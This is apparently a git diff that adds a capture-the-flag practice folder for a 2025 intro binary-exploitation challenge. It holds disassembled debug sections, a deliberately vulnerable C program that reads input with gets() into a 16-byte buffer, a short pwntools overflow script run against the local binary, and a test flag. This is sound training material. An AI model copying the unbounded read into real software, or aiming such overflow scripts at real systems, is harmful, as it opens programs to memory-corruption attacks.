+ 154: 3b 0b cmp ecx,DWORD PTR [rbx]
+ 156: 39 0b cmp DWORD PTR [rbx],ecx
+ 158: 11 01 adc DWORD PTR [rcx],eax
+ 15a: 12 07 adc al,BYTE PTR [rdi]
+ 15c: 40 18 7c 19 00 sbb BYTE PTR [rcx+rbx*1+0x0],dil
+ ...
+
+Disassembly of section .debug_line:
+
+0000000000000000 <.debug_line> (File Offset: 0x35a7):
+ 0: 9e sahf
+ 1: 00 00 add BYTE PTR [rax],al
+ 3: 00 05 00 08 00 58 add BYTE PTR [rip+0x58000800],al # 58000809 <_end+0x57bfc799> (File Offset: 0x58003db0)
+ 9: 00 00 add BYTE PTR [rax],al
+ b: 00 01 add BYTE PTR [rcx],al
+ d: 01 01 add DWORD PTR [rcx],eax
+ f: fb sti
+ 10: 0e (bad)
+ 11: 0d 00 01 01 01 or eax,0x1010100
+ 16: 01 00 add DWORD PTR [rax],eax
+ 18: 00 00 add BYTE PTR [rax],al
+ 1a: 01 00 add DWORD PTR [rax],eax
+ 1c: 00 01 add BYTE PTR [rcx],al
+ 1e: 01 01 add DWORD PTR [rcx],eax
+ 20: 1f (bad)
+ 21: 05 0c 00 00 00 add eax,0xc
+ 26: 12 00 adc al,BYTE PTR [rax]
+ 28: 00 00 add BYTE PTR [rax],al
+ 2a: 3b 00 cmp eax,DWORD PTR [rax]
+ 2c: 00 00 add BYTE PTR [rax],al
+ 2e: 5e pop rsi
+ 2f: 00 00 add BYTE PTR [rax],al
+ 31: 00 87 00 00 00 02 add BYTE PTR [rdi+0x2000000],al
+ 37: 01 1f add DWORD PTR [rdi],ebx
+ 39: 02 0f add cl,BYTE PTR [rdi]
+ 3b: 08 00 or BYTE PTR [rax],al
+ ... (skipping 8 zeroes, resuming at file offset: 0x35ec)
+ 45: 00 94 00 00 00 01 9d add BYTE PTR [rax+rax*1-0x62ff0000],dl
+ 4c: 00 00 add BYTE PTR [rax],al
+ 4e: 00 02 add BYTE PTR [rdx],al
+ 50: a5 movs DWORD PTR es:[rdi],DWORD PTR ds:[rsi]
+ 51: 00 00 add BYTE PTR [rax],al
+ 53: 00 03 add BYTE PTR [rbx],al
+ 55: ac lods al,BYTE PTR ds:[rsi]
+ 56: 00 00 add BYTE PTR [rax],al
+ 58: 00 03 add BYTE PTR [rbx],al
+ 5a: b3 00 mov bl,0x0
+ 5c: 00 00 add BYTE PTR [rax],al
+ 5e: 04 bb add al,0xbb
+ 60: 00 00 add BYTE PTR [rax],al
+ 62: 00 04 05 01 00 09 02 add BYTE PTR [rax*1+0x2090001],al
+ 69: 66 11 40 00 adc WORD PTR [rax+0x0],ax
+ 6d: 00 00 add BYTE PTR [rax],al
+ 6f: 00 00 add BYTE PTR [rax],al
+ 71: 19 05 05 4b 08 c9 sbb DWORD PTR [rip+0xffffffffc9084b05],eax # ffffffffc9084b7c <_end+0xffffffffc8c80b0c> (File Offset: 0xffffffffc9088123)
+ 77: 08 c9 or cl,cl
+ 79: 05 01 08 c9 41 add eax,0x41c90801
+ 7e: 05 05 4b 05 01 add eax,0x1054b05
+ 83: e5 05 in eax,0x5
+ 85: 0d 3e 05 05 84 or eax,0x8405053e
+ 8a: e5 bb in eax,0xbb
+ 8c: 05 01 08 e5 41 add eax,0x41e50801
+ 91: 05 02 e8 05 05 add eax,0x505e802
+ 96: a0 05 0c 9f 05 01 59 movabs al,ds:0x2025901059f0c05
+ 9d: 02 02
+ 9f: 00 01 add BYTE PTR [rcx],al
+ a1: 01 .byte 0x1
+
+Disassembly of section .debug_str:
+
+0000000000000000 <.debug_str> (File Offset: 0x3649):
+ 0: 5f pop rdi
+ 1: 49 rex.WB
+ 2: 4f 5f rex.WRXB pop r15
+ 4: 62 75 66 5f 65 (bad)
+ 9: 6e outs dx,BYTE PTR ds:[rsi]
+ a: 64 00 5f 6f add BYTE PTR fs:[rdi+0x6f],bl
+ e: 6c ins BYTE PTR es:[rdi],dx
+ f: 64 5f fs pop rdi
+ 11: 6f outs dx,DWORD PTR ds:[rsi]
+ 12: 66 66 73 65 data16 data16 jae 7b <__abi_tag-0x400301> (File Offset: 0x36c4)
+ 16: 74 00 je 18 <__abi_tag-0x400364> (File Offset: 0x3661)
+ 18: 5f pop rdi
+ 19: 49 rex.WB
+ 1a: 4f 5f rex.WRXB pop r15
+ 1c: 73 61 jae 7f <__abi_tag-0x4002fd> (File Offset: 0x36c8)
+ 1e: 76 65 jbe 85 <__abi_tag-0x4002f7> (File Offset: 0x36ce)
+ 20: 5f pop rdi
+ 21: 65 6e outs dx,BYTE PTR gs:[rsi]
+ 23: 64 00 73 68 add BYTE PTR fs:[rbx+0x68],dh
+ 27: 6f outs dx,DWORD PTR ds:[rsi]
+ 28: 72 74 jb 9e <__abi_tag-0x4002de> (File Offset: 0x36e7)
+ 2a: 20 69 6e and BYTE PTR [rcx+0x6e],ch
+ 2d: 74 00 je 2f <__abi_tag-0x40034d> (File Offset: 0x3678)
+ 2f: 73 69 jae 9a <__abi_tag-0x4002e2> (File Offset: 0x36e3)
+ 31: 7a 65 jp 98 <__abi_tag-0x4002e4> (File Offset: 0x36e1)
+ 33: 5f pop rdi
+ 34: 74 00 je 36 <__abi_tag-0x400346> (File Offset: 0x367f)
+ 36: 5f pop rdi
+ 37: 49 rex.WB
+ 38: 4f 5f rex.WRXB pop r15
+ 3a: 77 72 ja ae <__abi_tag-0x4002ce> (File Offset: 0x36f7)
+ 3c: 69 74 65 5f 70 74 72 imul esi,DWORD PTR [rbp+riz*2+0x5f],0x727470
+ 43: 00
+ 44: 5f pop rdi
+ 45: 66 6c data16 ins BYTE PTR es:[rdi],dx
+ 47: 61 (bad)
+ 48: 67 73 00 addr32 jae 4b <__abi_tag-0x400331> (File Offset: 0x3694)
+ 4b: 5f pop rdi
+ 4c: 49 rex.WB
+ 4d: 4f 5f rex.WRXB pop r15
+ 4f: 62 75 66 5f 62 (bad)
+ 54: 61 (bad)
+ 55: 73 65 jae bc <__abi_tag-0x4002c0> (File Offset: 0x3705)
+ 57: 00 5f 6d add BYTE PTR [rdi+0x6d],bl
+ 5a: 61 (bad)
+ 5b: 72 6b jb c8 <__abi_tag-0x4002b4> (File Offset: 0x3711)
+ 5d: 65 72 73 gs jb d3 <__abi_tag-0x4002a9> (File Offset: 0x371c)
+ 60: 00 5f 49 add BYTE PTR [rdi+0x49],bl
+ 63: 4f 5f rex.WRXB pop r15
+ 65: 72 65 jb cc <__abi_tag-0x4002b0> (File Offset: 0x3715)
+ 67: 61 (bad)
+ 68: 64 5f fs pop rdi
+ 6a: 65 6e outs dx,BYTE PTR gs:[rsi]
+ 6c: 64 00 5f 66 add BYTE PTR fs:[rdi+0x66],bl
+ 70: 72 65 jb d7 <__abi_tag-0x4002a5> (File Offset: 0x3720)
+ 72: 65 72 65 gs jb da <__abi_tag-0x4002a2> (File Offset: 0x3723)
+ 75: 73 5f jae d6 <__abi_tag-0x4002a6> (File Offset: 0x371f)
+ 77: 62 75 66 00 47 (bad)
+ 7c: 4e 55 rex.WRX push rbp
+ 7e: 20 43 39 and BYTE PTR [rbx+0x39],al
+ 81: 39 20 cmp DWORD PTR [rax],esp
+ 83: 31 32 xor DWORD PTR [rdx],esi
+ 85: 2e 32 2e cs xor ch,BYTE PTR [rsi]
+ 88: 30 20 xor BYTE PTR [rax],ah
+ 8a: 2d 6d 74 75 6e sub eax,0x6e75746d
+ 8f: 65 3d 67 65 6e 65 gs cmp eax,0x656e6567
+ 95: 72 69 jb 100 <__abi_tag-0x40027c> (File Offset: 0x3749)
+ 97: 63 20 movsxd esp,DWORD PTR [rax]
+ 99: 2d 6d 61 72 63 sub eax,0x6372616d
+ 9e: 68 3d 78 38 36 push 0x3638783d
+ a3: 2d 36 34 20 2d sub eax,0x2d203436
+ a8: 67 20 2d 67 20 2d 73 and BYTE PTR [eip+0x732d2067],ch # 732d2116 <_end+0x72ece0a6> (File Offset: 0x732d575f)
+ af: 74 64 je 115 <__abi_tag-0x400267> (File Offset: 0x375e)
+ b1: 3d 63 39 39 20 cmp eax,0x20393963
+ b6: 2d 66 6e 6f 2d sub eax,0x2d6f6e66
+ bb: 73 74 jae 131 <__abi_tag-0x40024b> (File Offset: 0x377a)
+ bd: 61 (bad)
+ be: 63 6b 2d movsxd ebp,DWORD PTR [rbx+0x2d]
+ c1: 70 72 jo 135 <__abi_tag-0x400247> (File Offset: 0x377e)
+ c3: 6f outs dx,DWORD PTR ds:[rsi]
+ c4: 74 65 je 12b <__abi_tag-0x400251> (File Offset: 0x3774)
+ c6: 63 74 6f 72 movsxd esi,DWORD PTR [rdi+rbp*2+0x72]
+ ca: 20 2d 66 61 73 79 and BYTE PTR [rip+0x79736166],ch # 79736236 <_end+0x793321c6> (File Offset: 0x7973987f)
+ d0: 6e outs dx,BYTE PTR ds:[rsi]
+ d1: 63 68 72 movsxd ebp,DWORD PTR [rax+0x72]
+ d4: 6f outs dx,DWORD PTR ds:[rsi]
+ d5: 6e outs dx,BYTE PTR ds:[rsi]
+ d6: 6f outs dx,DWORD PTR ds:[rsi]
+ d7: 75 73 jne 14c <__abi_tag-0x400230> (File Offset: 0x3795)
+ d9: 2d 75 6e 77 69 sub eax,0x69776e75
+ de: 6e outs dx,BYTE PTR ds:[rsi]
+ df: 64 2d 74 61 62 6c fs sub eax,0x6c626174
+ e5: 65 73 00 gs jae e8 <__abi_tag-0x400294> (File Offset: 0x3731)
+ e8: 73 65 jae 14f <__abi_tag-0x40022d> (File Offset: 0x3798)
+ ea: 74 76 je 162 <__abi_tag-0x40021a> (File Offset: 0x37ab)
+ ec: 62 75 66 00 73 (bad)
+ f1: 74 64 je 157 <__abi_tag-0x400225> (File Offset: 0x37a0)
+ f3: 65 72 72 gs jb 168 <__abi_tag-0x400214> (File Offset: 0x37b1)
+ f6: 00 6c 6f 6e add BYTE PTR [rdi+rbp*2+0x6e],ch
+ fa: 67 20 6c 6f 6e and BYTE PTR [edi+ebp*2+0x6e],ch
+ ff: 67 20 69 6e and BYTE PTR [ecx+0x6e],ch
+ 103: 74 00 je 105 <__abi_tag-0x400277> (File Offset: 0x374e)
+ 105: 5f pop rdi
+ 106: 6c ins BYTE PTR es:[rdi],dx
+ 107: 6f outs dx,DWORD PTR ds:[rsi]
+ 108: 63 6b 00 movsxd ebp,DWORD PTR [rbx+0x0]
+ 10b: 70 72 jo 17f <__abi_tag-0x4001fd> (File Offset: 0x37c8)
+ 10d: 69 6e 74 66 00 5f 63 imul ebp,DWORD PTR [rsi+0x74],0x635f0066
+ 114: 75 72 jne 188 <__abi_tag-0x4001f4> (File Offset: 0x37d1)
+ 116: 5f pop rdi
+ 117: 63 6f 6c movsxd ebp,DWORD PTR [rdi+0x6c]
+ 11a: 75 6d jne 189 <__abi_tag-0x4001f3> (File Offset: 0x37d2)
+ 11c: 6e outs dx,BYTE PTR ds:[rsi]
+ 11d: 00 61 72 add BYTE PTR [rcx+0x72],ah
+ 120: 67 76 00 addr32 jbe 123 <__abi_tag-0x400259> (File Offset: 0x376c)
+ 123: 6e outs dx,BYTE PTR ds:[rsi]
+ 124: 61 (bad)
+ 125: 6d ins DWORD PTR es:[rdi],dx
+ 126: 65 00 5f 49 add BYTE PTR gs:[rdi+0x49],bl
+ 12a: 4f 5f rex.WRXB pop r15
+ 12c: 46 rex.RX
+ 12d: 49 rex.WB
+ 12e: 4c rex.WR
+ 12f: 45 00 75 6e add BYTE PTR [r13+0x6e],r14b
+ 133: 73 69 jae 19e <__abi_tag-0x4001de> (File Offset: 0x37e7)
+ 135: 67 6e outs dx,BYTE PTR ds:[esi]
+ 137: 65 64 20 63 68 gs and BYTE PTR fs:[rbx+0x68],ah
+ 13c: 61 (bad)
+ 13d: 72 00 jb 13f <__abi_tag-0x40023d> (File Offset: 0x3788)
+ 13f: 69 67 6e 6f 72 65 5f imul esp,DWORD PTR [rdi+0x6e],0x5f65726f
+ 146: 6d ins DWORD PTR es:[rdi],dx
+ 147: 65 5f gs pop rdi
+ 149: 69 6e 69 74 5f 62 75 imul ebp,DWORD PTR [rsi+0x69],0x75625f74
+ 150: 66 66 65 72 69 data16 data16 gs jb 1be <__abi_tag-0x4001be> (File Offset: 0x3807)
+ 155: 6e outs dx,BYTE PTR ds:[rsi]
+ 156: 67 00 61 72 add BYTE PTR [ecx+0x72],ah
+ 15a: 67 63 00 movsxd eax,DWORD PTR [eax]
+ 15d: 5f pop rdi
+ 15e: 49 rex.WB
+ 15f: 4f 5f rex.WRXB pop r15
+ 161: 6d ins DWORD PTR es:[rdi],dx
+ 162: 61 (bad)
+ 163: 72 6b jb 1d0 <__abi_tag-0x4001ac> (File Offset: 0x3819)
+ 165: 65 72 00 gs jb 168 <__abi_tag-0x400214> (File Offset: 0x37b1)
+ 168: 5f pop rdi
+ 169: 73 68 jae 1d3 <__abi_tag-0x4001a9> (File Offset: 0x381c)
+ 16b: 6f outs dx,DWORD PTR ds:[rsi]
+ 16c: 72 74 jb 1e2 <__abi_tag-0x40019a> (File Offset: 0x382b)
+ 16e: 62 75 66 00 5f 49 4f vmaxsh xmm9,xmm19,WORD PTR [rcx+0x9e]
+ 175: 5f pop rdi
+ 176: 77 72 ja 1ea <__abi_tag-0x400192> (File Offset: 0x3833)
+ 178: 69 74 65 5f 62 61 73 imul esi,DWORD PTR [rbp+riz*2+0x5f],0x65736162
+ 17f: 65
+ 180: 00 5f 75 add BYTE PTR [rdi+0x75],bl
+ 183: 6e outs dx,BYTE PTR ds:[rsi]
+ 184: 75 73 jne 1f9 <__abi_tag-0x400183> (File Offset: 0x3842)
+ 186: 65 64 32 00 gs xor al,BYTE PTR fs:[rax]
+ 18a: 5f pop rdi
+ 18b: 49 rex.WB
+ 18c: 4f 5f rex.WRXB pop r15
+ 18e: 72 65 jb 1f5 <__abi_tag-0x400187> (File Offset: 0x383e)
+ 190: 61 (bad)
+ 191: 64 5f fs pop rdi
+ 193: 70 74 jo 209 <__abi_tag-0x400173> (File Offset: 0x3852)
+ 195: 72 00 jb 197 <__abi_tag-0x4001e5> (File Offset: 0x37e0)
+ 197: 73 68 jae 201 <__abi_tag-0x40017b> (File Offset: 0x384a)
+ 199: 6f outs dx,DWORD PTR ds:[rsi]
+ 19a: 72 74 jb 210 <__abi_tag-0x40016c> (File Offset: 0x3859)
+ 19c: 20 75 6e and BYTE PTR [rbp+0x6e],dh
+ 19f: 73 69 jae 20a <__abi_tag-0x400172> (File Offset: 0x3853)
+ 1a1: 67 6e outs dx,BYTE PTR ds:[esi]
+ 1a3: 65 64 20 69 6e gs and BYTE PTR fs:[rcx+0x6e],ch
+ 1a8: 74 00 je 1aa <__abi_tag-0x4001d2> (File Offset: 0x37f3)
+ 1aa: 6d ins DWORD PTR es:[rdi],dx
+ 1ab: 61 (bad)
+ 1ac: 69 6e 00 76 75 6c 6e imul ebp,DWORD PTR [rsi+0x0],0x6e6c7576
+ 1b3: 00 5f 66 add BYTE PTR [rdi+0x66],bl
+ 1b6: 72 65 jb 21d <__abi_tag-0x40015f> (File Offset: 0x3866)
+ 1b8: 65 72 65 gs jb 220 <__abi_tag-0x40015c> (File Offset: 0x3869)
+ 1bb: 73 5f jae 21c <__abi_tag-0x400160> (File Offset: 0x3865)
+ 1bd: 6c ins BYTE PTR es:[rdi],dx
+ 1be: 69 73 74 00 5f 5f 70 imul esi,DWORD PTR [rbx+0x74],0x705f5f00
+ 1c5: 61 (bad)
+ 1c6: 64 35 00 5f 49 4f fs xor eax,0x4f495f00
+ 1cc: 5f pop rdi
+ 1cd: 63 6f 64 movsxd ebp,DWORD PTR [rdi+0x64]
+ 1d0: 65 63 76 74 movsxd esi,DWORD PTR gs:[rsi+0x74]
+ 1d4: 00 73 79 add BYTE PTR [rbx+0x79],dh
+ 1d7: 73 74 jae 24d <__abi_tag-0x40012f> (File Offset: 0x3896)
+ 1d9: 65 6d gs ins DWORD PTR es:[rdi],dx
+ 1db: 00 6c 6f 6e add BYTE PTR [rdi+rbp*2+0x6e],ch
+ 1df: 67 20 75 6e and BYTE PTR [ebp+0x6e],dh
+ 1e3: 73 69 jae 24e <__abi_tag-0x40012e> (File Offset: 0x3897)
+ 1e5: 67 6e outs dx,BYTE PTR ds:[esi]
+ 1e7: 65 64 20 69 6e gs and BYTE PTR fs:[rcx+0x6e],ch
+ 1ec: 74 00 je 1ee <__abi_tag-0x40018e> (File Offset: 0x3837)
+ 1ee: 5f pop rdi
+ 1ef: 49 rex.WB
+ 1f0: 4f 5f rex.WRXB pop r15
+ 1f2: 77 72 ja 266 <__abi_tag-0x400116> (File Offset: 0x38af)
+ 1f4: 69 74 65 5f 65 6e 64 imul esi,DWORD PTR [rbp+riz*2+0x5f],0x646e65
+ 1fb: 00
+ 1fc: 5f pop rdi
+ 1fd: 5f pop rdi
+ 1fe: 6f outs dx,DWORD PTR ds:[rsi]
+ 1ff: 66 66 36 34 5f data16 data16 ss xor al,0x5f
+ 204: 74 00 je 206 <__abi_tag-0x400176> (File Offset: 0x384f)
+ 206: 5f pop rdi
+ 207: 5f pop rdi
+ 208: 6f outs dx,DWORD PTR ds:[rsi]
+ 209: 66 66 5f data16 pop di
+ 20c: 74 00 je 20e <__abi_tag-0x40016e> (File Offset: 0x3857)
+ 20e: 5f pop rdi
+ 20f: 63 68 61 movsxd ebp,DWORD PTR [rax+0x61]
+ 212: 69 6e 00 5f 49 4f 5f imul ebp,DWORD PTR [rsi+0x0],0x5f4f495f
+ 219: 77 69 ja 284 <__abi_tag-0x4000f8> (File Offset: 0x38cd)
+ 21b: 64 65 5f fs gs pop rdi
+ 21e: 64 61 fs (bad)
+ 220: 74 61 je 283 <__abi_tag-0x4000f9> (File Offset: 0x38cc)
+ 222: 00 5f 49 add BYTE PTR [rdi+0x49],bl
+ 225: 4f 5f rex.WRXB pop r15
+ 227: 62 61 63 6b 75 (bad)
+ 22c: 70 5f jo 28d <__abi_tag-0x4000ef> (File Offset: 0x38d6)
+ 22e: 62 61 73 65 00 (bad)
+ 233: 73 74 jae 2a9 <__abi_tag-0x4000d3> (File Offset: 0x38f2)
+ 235: 64 69 6e 00 5f 66 6c imul ebp,DWORD PTR fs:[rsi+0x0],0x616c665f
+ 23c: 61
+ 23d: 67 73 32 addr32 jae 272 <__abi_tag-0x40010a> (File Offset: 0x38bb)
+ 240: 00 5f 6d add BYTE PTR [rdi+0x6d],bl
+ 243: 6f outs dx,DWORD PTR ds:[rsi]
+ 244: 64 65 00 5f 49 fs add BYTE PTR gs:[rdi+0x49],bl
+ 249: 4f 5f rex.WRXB pop r15
+ 24b: 72 65 jb 2b2 <__abi_tag-0x4000ca> (File Offset: 0x38fb)
+ 24d: 61 (bad)
+ 24e: 64 5f fs pop rdi
+ 250: 62 61 73 65 00 (bad)
+ 255: 5f pop rdi
+ 256: 76 74 jbe 2cc <__abi_tag-0x4000b0> (File Offset: 0x3915)
+ 258: 61 (bad)
+ 259: 62 6c 65 5f 6f (bad)
+ 25e: 66 66 73 65 data16 data16 jae 2c7 <__abi_tag-0x4000b5> (File Offset: 0x3910)
+ 262: 74 00 je 264 <__abi_tag-0x400118> (File Offset: 0x38ad)
+ 264: 5f pop rdi
+ 265: 49 rex.WB
+ 266: 4f 5f rex.WRXB pop r15
+ 268: 73 61 jae 2cb <__abi_tag-0x4000b1> (File Offset: 0x3914)
+ 26a: 76 65 jbe 2d1 <__abi_tag-0x4000ab> (File Offset: 0x391a)
+ 26c: 5f pop rdi
+ 26d: 62 61 73 65 00 (bad)
+ 272: 5f pop rdi
+ 273: 66 69 6c 65 6e 6f 00 imul bp,WORD PTR [rbp+riz*2+0x6e],0x6f
+ 27a: 67 65 74 73 addr32 gs je 2f1 <__abi_tag-0x40008b> (File Offset: 0x393a)
+ 27e: 00 73 74 add BYTE PTR [rbx+0x74],dh
+ 281: 64 6f outs dx,DWORD PTR fs:[rsi]
+ 283: 75 74 jne 2f9 <__abi_tag-0x400083> (File Offset: 0x3942)
+ 285: 00 5f 49 add BYTE PTR [rdi+0x49],bl
+ 288: 4f 5f rex.WRXB pop r15
+ 28a: 6c ins BYTE PTR es:[rdi],dx
+ 28b: 6f outs dx,DWORD PTR ds:[rsi]
+ 28c: 63 6b 5f movsxd ebp,DWORD PTR [rbx+0x5f]
+ 28f: 74 00 je 291 <__abi_tag-0x4000eb> (File Offset: 0x38da)
+
+Disassembly of section .debug_line_str:
+
+0000000000000000 <.debug_line_str> (File Offset: 0x38da):
+ 0: 69 6e 74 72 6f 2d 70 imul ebp,DWORD PTR [rsi+0x74],0x702d6f72
+ 7: 77 6e ja 77 <__abi_tag-0x400305> (File Offset: 0x3951)
+ 9: 2e 63 00 cs movsxd eax,DWORD PTR [rax]
+ c: 2f (bad)
+ d: 77 6f ja 7e <__abi_tag-0x4002fe> (File Offset: 0x3958)
+ f: 72 6b jb 7c <__abi_tag-0x400300> (File Offset: 0x3956)
+ 11: 00 2f add BYTE PTR [rdi],ch
+ 13: 75 73 jne 88 <__abi_tag-0x4002f4> (File Offset: 0x3962)
+ 15: 72 2f jb 46 <__abi_tag-0x400336> (File Offset: 0x3920)
+ 17: 6c ins BYTE PTR es:[rdi],dx
+ 18: 69 62 2f 67 63 63 2f imul esp,DWORD PTR [rdx+0x2f],0x2f636367
+ 1f: 78 38 js 59 <__abi_tag-0x400323> (File Offset: 0x3933)
+ 21: 36 5f ss pop rdi
+ 23: 36 34 2d ss xor al,0x2d
+ 26: 6c ins BYTE PTR es:[rdi],dx
+ 27: 69 6e 75 78 2d 67 6e imul ebp,DWORD PTR [rsi+0x75],0x6e672d78
+ 2e: 75 2f jne 5f <__abi_tag-0x40031d> (File Offset: 0x3939)
+ 30: 31 32 xor DWORD PTR [rdx],esi
+ 32: 2f (bad)
+ 33: 69 6e 63 6c 75 64 65 imul ebp,DWORD PTR [rsi+0x63],0x6564756c
+ 3a: 00 2f add BYTE PTR [rdi],ch
+ 3c: 75 73 jne b1 <__abi_tag-0x4002cb> (File Offset: 0x398b)
+ 3e: 72 2f jb 6f <__abi_tag-0x40030d> (File Offset: 0x3949)
+ 40: 69 6e 63 6c 75 64 65 imul ebp,DWORD PTR [rsi+0x63],0x6564756c
+ 47: 2f (bad)
+ 48: 78 38 js 82 <__abi_tag-0x4002fa> (File Offset: 0x395c)
+ 4a: 36 5f ss pop rdi
+ 4c: 36 34 2d ss xor al,0x2d
+ 4f: 6c ins BYTE PTR es:[rdi],dx
+ 50: 69 6e 75 78 2d 67 6e imul ebp,DWORD PTR [rsi+0x75],0x6e672d78
+ 57: 75 2f jne 88 <__abi_tag-0x4002f4> (File Offset: 0x3962)
+ 59: 62 69 74 73 00 (bad)
+ 5e: 2f (bad)
+ 5f: 75 73 jne d4 <__abi_tag-0x4002a8> (File Offset: 0x39ae)
+ 61: 72 2f jb 92 <__abi_tag-0x4002ea> (File Offset: 0x396c)
+ 63: 69 6e 63 6c 75 64 65 imul ebp,DWORD PTR [rsi+0x63],0x6564756c
+ 6a: 2f (bad)
+ 6b: 78 38 js a5 <__abi_tag-0x4002d7> (File Offset: 0x397f)
+ 6d: 36 5f ss pop rdi
+ 6f: 36 34 2d ss xor al,0x2d
+ 72: 6c ins BYTE PTR es:[rdi],dx
+ 73: 69 6e 75 78 2d 67 6e imul ebp,DWORD PTR [rsi+0x75],0x6e672d78
+ 7a: 75 2f jne ab <__abi_tag-0x4002d1> (File Offset: 0x3985)
+ 7c: 62 69 74 73 2f (bad)
+ 81: 74 79 je fc <__abi_tag-0x400280> (File Offset: 0x39d6)
+ 83: 70 65 jo ea <__abi_tag-0x400292> (File Offset: 0x39c4)
+ 85: 73 00 jae 87 <__abi_tag-0x4002f5> (File Offset: 0x3961)
+ 87: 2f (bad)
+ 88: 75 73 jne fd <__abi_tag-0x40027f> (File Offset: 0x39d7)
+ 8a: 72 2f jb bb <__abi_tag-0x4002c1> (File Offset: 0x3995)
+ 8c: 69 6e 63 6c 75 64 65 imul ebp,DWORD PTR [rsi+0x63],0x6564756c
+ 93: 00 73 74 add BYTE PTR [rbx+0x74],dh
+ 96: 64 64 65 66 2e 68 00 fs fs gs cs pushw 0x7400
+ 9d: 74
+ 9e: 79 70 jns 110 <__abi_tag-0x40026c> (File Offset: 0x39ea)
+ a0: 65 73 2e gs jae d1 <__abi_tag-0x4002ab> (File Offset: 0x39ab)
+ a3: 68 00 73 74 72 push 0x72747300
+ a8: 75 63 jne 10d <__abi_tag-0x40026f> (File Offset: 0x39e7)
+ aa: 74 5f je 10b <__abi_tag-0x400271> (File Offset: 0x39e5)
+ ac: 46 rex.RX
+ ad: 49 rex.WB
+ ae: 4c rex.WR
+ af: 45 rex.RB
+ b0: 2e 68 00 73 74 64 cs push 0x64747300
+ b6: 69 6f 2e 68 00 73 74 imul ebp,DWORD PTR [rdi+0x2e],0x74730068
+ bd: 64 6c fs ins BYTE PTR es:[rdi],dx
+ bf: 69 .byte 0x69
+ c0: 62 .byte 0x62
+ c1: 2e cs
+ c2: 68 .byte 0x68
+ ...
diff --git a/training/h4tum/binex_training/cscg_2025_intro_pwn/exploit.py b/training/h4tum/binex_training/cscg_2025_intro_pwn/exploit.py
new file mode 100644
index 0000000..6d770cc
--- /dev/null
+++ b/training/h4tum/binex_training/cscg_2025_intro_pwn/exploit.py
@@ -0,0 +1,7 @@
+from pwn import *
+
+with process('./intro-pwn') as p:
+ print(p.recvuntil(b"?"))
+ input("open gdb")
+ print(p.sendline(b"A"*16+b"B"*8+b"C"*8))
+ p.interactive()
diff --git a/training/h4tum/binex_training/cscg_2025_intro_pwn/flag b/training/h4tum/binex_training/cscg_2025_intro_pwn/flag
new file mode 100644
index 0000000..435dc67
--- /dev/null
+++ b/training/h4tum/binex_training/cscg_2025_intro_pwn/flag
@@ -0,0 +1 @@
+CSCG{testflag}
diff --git a/training/h4tum/binex_training/cscg_2025_intro_pwn/intro-pwn b/training/h4tum/binex_training/cscg_2025_intro_pwn/intro-pwn
new file mode 100755
index 0000000..77956aa
Binary files /dev/null and b/training/h4tum/binex_training/cscg_2025_intro_pwn/intro-pwn differ
diff --git a/training/h4tum/binex_training/cscg_2025_intro_pwn/intro-pwn.c b/training/h4tum/binex_training/cscg_2025_intro_pwn/intro-pwn.c
new file mode 100644
index 0000000..bb42e0f
--- /dev/null
+++ b/training/h4tum/binex_training/cscg_2025_intro_pwn/intro-pwn.c
@@ -0,0 +1,33 @@
+#include
+#include
+
+// --------------------------------------------------- SETUP
+
+void ignore_me_init_buffering() {
+ setvbuf(stdout, NULL, _IONBF, 0);
+ setvbuf(stdin, NULL, _IONBF, 0);
+ setvbuf(stderr, NULL, _IONBF, 0);
+}
+
+// --------------------------------------------------- VULNERABLE FUNCTION
+
+void win() { system("echo no cat /flag for you"); }
+
+void vuln() {
+ char name[16];
+ printf("What is your name?\n");
+ gets(name);
+ printf("Hello %s!\nI have a present for you: %d\n", name, 0xc35f);
+}
+
+// --------------------------------------------------- MAIN
+
+int main(int argc, char **argv) {
+ (void)argc;
+ (void)argv;
+
+ ignore_me_init_buffering();
+
+ vuln();
+ return 0;
+}
diff --git a/training/h4tum/binex_training/cscg_2025_intro_pwn/main.py b/training/h4tum/binex_training/cscg_2025_intro_pwn/main.py
new file mode 100644
index 0000000..7ae8ac4
--- /dev/null
+++ b/training/h4tum/binex_training/cscg_2025_intro_pwn/main.py
@@ -0,0 +1,6 @@
+def main():
+ print("Hello from cscg-2025-intro-pwn!")
+
+
+if __name__ == "__main__":
+ main()
diff --git a/training/h4tum/binex_training/cscg_2025_intro_pwn/pyproject.toml b/training/h4tum/binex_training/cscg_2025_intro_pwn/pyproject.toml
new file mode 100644
index 0000000..199544b
--- /dev/null
+++ b/training/h4tum/binex_training/cscg_2025_intro_pwn/pyproject.toml
@@ -0,0 +1,10 @@
+[project]
+name = "cscg-2025-intro-pwn"
+version = "0.1.0"
+description = "Add your description here"
+readme = "README.md"
+requires-python = ">=3.12"
+dependencies = [
+ "pwntools>=4.14.1",
+ "ropper>=1.13.13",
+]
diff --git a/training/h4tum/binex_training/cscg_2025_intro_pwn/uv.lock b/training/h4tum/binex_training/cscg_2025_intro_pwn/uv.lock
new file mode 100644
index 0000000..2692a2e
--- /dev/null
+++ b/training/h4tum/binex_training/cscg_2025_intro_pwn/uv.lock
@@ -0,0 +1,632 @@
+version = 1
+revision = 2
+requires-python = ">=3.12"
+
+[[package]]
+name = "bcrypt"
+version = "4.3.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/bb/5d/6d7433e0f3cd46ce0b43cd65e1db465ea024dbb8216fb2404e919c2ad77b/bcrypt-4.3.0.tar.gz", hash = "sha256:3a3fd2204178b6d2adcf09cb4f6426ffef54762577a7c9b54c159008cb288c18", size = 25697, upload-time = "2025-02-28T01:24:09.174Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/bf/2c/3d44e853d1fe969d229bd58d39ae6902b3d924af0e2b5a60d17d4b809ded/bcrypt-4.3.0-cp313-cp313t-macosx_10_12_universal2.whl", hash = "sha256:f01e060f14b6b57bbb72fc5b4a83ac21c443c9a2ee708e04a10e9192f90a6281", size = 483719, upload-time = "2025-02-28T01:22:34.539Z" },
+ { url = "https://files.pythonhosted.org/packages/a1/e2/58ff6e2a22eca2e2cff5370ae56dba29d70b1ea6fc08ee9115c3ae367795/bcrypt-4.3.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c5eeac541cefd0bb887a371ef73c62c3cd78535e4887b310626036a7c0a817bb", size = 272001, upload-time = "2025-02-28T01:22:38.078Z" },
